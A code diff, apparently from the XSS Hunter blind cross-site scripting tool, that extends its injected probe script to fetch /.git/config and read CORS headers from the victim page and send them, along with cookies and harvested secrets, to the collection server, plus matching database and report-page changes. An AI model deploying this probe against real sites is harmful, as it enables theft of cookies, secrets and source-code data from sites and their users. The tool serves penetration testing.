diff --git a/api.js b/api.js index f41b33c..8330c18 100644 --- a/api.js +++ b/api.js @@ -5,6 +5,7 @@ const cors = require('cors'); const path = require('path'); const uuid = require('uuid'); const asyncfs = require('fs').promises; +const fs = require('fs'); const sessions = require('@truffledustin/node-client-sessions'); const favicon = require('serve-favicon'); const database = require('./database.js'); @@ -53,6 +54,15 @@ function session_wrapper_function(req, res, next) { return sessions_middleware(req, res, next); } +async function check_file_exists(file_path) { + return asyncfs.access(file_path, fs.constants.F_OK).then(() => { + return true; + }).catch(() => { + return false; + }); +} + + async function set_up_api_server(app) { // Check for existing session secret value const session_secret_setting = process.env.SESSION_SECRET_KEY; @@ -443,6 +453,8 @@ async function set_up_api_server(app) { "screenshot_id": payload.screenshot_id, "was_iframe": payload.was_iframe, "browser_timestamp": payload.browser_timestamp, + "CORS": payload.CORS, + "gitExposed": payload.gitExposed, "createdAt": payload.createdAt, "updatedAt": payload.updatedAt, "secrets": payload_secrets diff --git a/app.js b/app.js index b26107b..a919bff 100644 --- a/app.js +++ b/app.js @@ -163,6 +163,14 @@ async function get_app_server() { "type": "string", "default": [] }, + "CORS": { + "type": "string", + "default": [] + }, + "gitExposed": { + "type": "string", + "default": [] + }, "path": { "type": "string", "default": "" @@ -269,6 +277,13 @@ async function get_app_server() { correlated_request: 'No correlated request found for this injection.', } + if (req.body.CORS != "false"){ + payload_fire_data.CORS = req.body.CORS; + } + if (req.body.gitExposed != "false"){ + payload_fire_data.gitExposed = req.body.gitExposed.substring(0,5000); + } + // Check for correlated request const correlated_request_rec = await InjectionRequests.findOne({ where: { @@ -285,7 +300,7 @@ async function get_app_server() { console.log("saved record"); // Send out notification via configured notification channel - if(user.sendEmailAlerts) { + if(user.sendEmailAlerts && process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED=="true") { payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`; await notification.send_email_notification(payload_fire_data, user.email); } @@ -334,10 +349,17 @@ async function get_app_server() { if (! chainload_uri){ chainload_uri = ''; } + let xssURI = "" + if(process.env.XSS_HOSTNAME.startsWith("localhost")){ + xssURI = `http://${process.env.XSS_HOSTNAME}` + }else{ + + xssURI = `https://${process.env.XSS_HOSTNAME}` + } res.send(XSS_PAYLOAD.replace( /\[HOST_URL\]/g, - `https://${process.env.XSS_HOSTNAME}` + xssURI ).replace( '[COLLECT_PAGE_LIST_REPLACE_ME]', JSON.stringify([]) diff --git a/database.js b/database.js index 5826ca2..95ff7c6 100644 --- a/database.js +++ b/database.js @@ -206,6 +206,18 @@ PayloadFireResults.init({ allowNull: false, unique: false }, + // git directory exposed + gitExposed: { + type: Sequelize.TEXT, + allowNull: true, + unique: false + }, + // cors data + CORS: { + type: Sequelize.TEXT, + allowNull: true, + unique: false + }, }, { sequelize, modelName: 'payload_fire_results', @@ -215,6 +227,11 @@ PayloadFireResults.init({ fields: ['url'], method: 'BTREE', }, + { + unique: false, + fields: ['CORS'], + method: 'BTREE', + }, { unique: false, fields: ['user_id'], diff --git a/front-end/src/pages/Settings.vue b/front-end/src/pages/Settings.vue index f78ff13..0f37cd6 100644 --- a/front-end/src/pages/Settings.vue +++ b/front-end/src/pages/Settings.vue @@ -24,7 +24,7 @@

XSSHunter Path

-
Unique path that ties injection payloads back to you. Can be set to something shorter. (defaults to 20 chars)
+
Unique path linked to your account that ties injection payloads back to you. Shorter is better. WARNING: changing this will make existing payloads not linked to your account. (defaults to 20 chars)

diff --git a/front-end/src/pages/XSSPayloadFireReports.vue b/front-end/src/pages/XSSPayloadFireReports.vue index 25dee77..a40cbc6 100644 --- a/front-end/src/pages/XSSPayloadFireReports.vue +++ b/front-end/src/pages/XSSPayloadFireReports.vue @@ -46,7 +46,7 @@
- {{report.url}} +
{{report.url}}
None

@@ -59,7 +59,7 @@
- {{report.ip_address}} +
{{report.ip_address}}
None

@@ -72,7 +72,7 @@
- {{report.referer}} +
{{report.referer}}
None

@@ -85,7 +85,7 @@
- {{report.user_agent}} +
{{report.user_agent}}
None

@@ -98,7 +98,7 @@
- {{report.cookies}} +
{{report.cookies}}
None

@@ -111,7 +111,7 @@
- {{report.title}} +
{{report.title}}
None

@@ -124,8 +124,8 @@
- {{report.origin}} -
None
+
{{report.origin}}
+
None

@@ -133,14 +133,41 @@
- Any secrets harvested from the HTML and Javascript. + TruffleHog-lite, used to capture any secrets harvested from the HTML and Javascript.
+
+
Secret type: {{ secret.secret_type }}
+Secret value: {{ secret.secret_value }}
+
-
  • - Secret type: {{ secret.secret_type }} - Secret value: {{ secret.secret_value }} -
  • +
    No secrets detected
    +
    +
    + +
    +
    + + + What is the CORS policy for the website the XSS rendered on? + +
    +
    +
    Access-Control-Allow-Origin: {{report.CORS}}
    +
    No CORS headers detected
    +
    +
    +
    +
    +
    + + + Was the source code exposed via /.git ? (Shows contents of /.git/config) + +
    +
    +
    {{report.gitExposed}}
    +
    No .git directory detected

    @@ -152,7 +179,7 @@
    - {{ new Date(parseInt(report.browser_timestamp)) | moment("dddd, MMMM Do YYYY, h:mm:ss a")}} ({{report.browser_timestamp}}) +
    {{ new Date(parseInt(report.browser_timestamp)) | moment("dddd, MMMM Do YYYY, h:mm:ss a")}} ({{report.browser_timestamp}})
    None

    @@ -165,16 +192,9 @@
    -

    - Fired in iFrame?: {{report.was_iframe}} -

    -

    - Vulnerability enumerated {{ report.createdAt | moment("dddd, MMMM Do YYYY, h:mm:ss a") }} -

    -

    - Report ID: {{report.id}} -

    -
    +
    Fired in iFrame?: {{report.was_iframe}}
    +Vulnerability enumerated {{ report.createdAt | moment("dddd, MMMM Do YYYY, h:mm:ss a") }}
    +Report ID: {{report.id}}

    @@ -386,6 +406,11 @@ export default { color: #fff } +pre { + background-color: rgba(255, 255, 255, 0.8); + color: #38645a; +} + .pagination .page-item.disabled>.page-link { opacity: .5 } @@ -460,6 +485,7 @@ export default { .report-section-label { + background: #5BB381; font-size: 18px; display: inline; } @@ -474,7 +500,7 @@ export default { } .report-section-description { - color: #d3d3d7 !important; + color: #5bb381 !important; font-style: italic; display: inline; float: right; diff --git a/front-end/src/pages/XSSPayloads.vue b/front-end/src/pages/XSSPayloads.vue index fe6cc60..8894094 100644 --- a/front-end/src/pages/XSSPayloads.vue +++ b/front-end/src/pages/XSSPayloads.vue @@ -6,6 +6,7 @@

    XSS Payloads

    +

    For a shorter URL, change your path on the settings page

    diff --git a/probe.js b/probe.js index 0f0bd24..4d2f9ac 100644 --- a/probe.js +++ b/probe.js @@ -79,6 +79,26 @@ function base64_to_blob(base64Data, contentType) { return new Blob(byteArrays, { type: contentType }); } +let check_cors = async function(){ + let res = await fetch("", {method: 'HEAD'}) + for (const header of res.headers){ + if (header[0].toLowerCase() == "access-control-allow-origin"){ + return header[1]; + } + } + return false +} + +let check_git = async function(){ + + let res = await fetch("/.git/config"); + let text = await res.text(); + if (text.startsWith("[core]")){ + return text + } + return false +} + function get_guid() { var S4 = function() { return (((1+Math.random())*0x10000)|0).toString(16).substring(1); @@ -291,13 +311,25 @@ probe_return_data['title'] = document.title; probe_return_data['was_iframe'] = !(window.top === window) -function hook_load_if_not_ready() { +async function hook_load_if_not_ready() { try { try { probe_return_data['secrets'] = look_for_secrets(never_null( document.documentElement.outerHTML )); } catch ( e ) { probe_return_data['secrets'] = []; } + try{ + const corsResults = await check_cors(); + probe_return_data['CORS'] = corsResults; + } catch (e) { + probe_return_data['CORS'] = "false"; + } + try{ + const gitResults = await check_git(); + probe_return_data['gitExposed'] = gitResults; + } catch (e) { + probe_return_data['gitExposed'] = "false"; + } probe_return_data['secrets'] = JSON.stringify(probe_return_data['secrets']); html2canvas(document.body).then(function(canvas) { StackBlur.canvasRGB(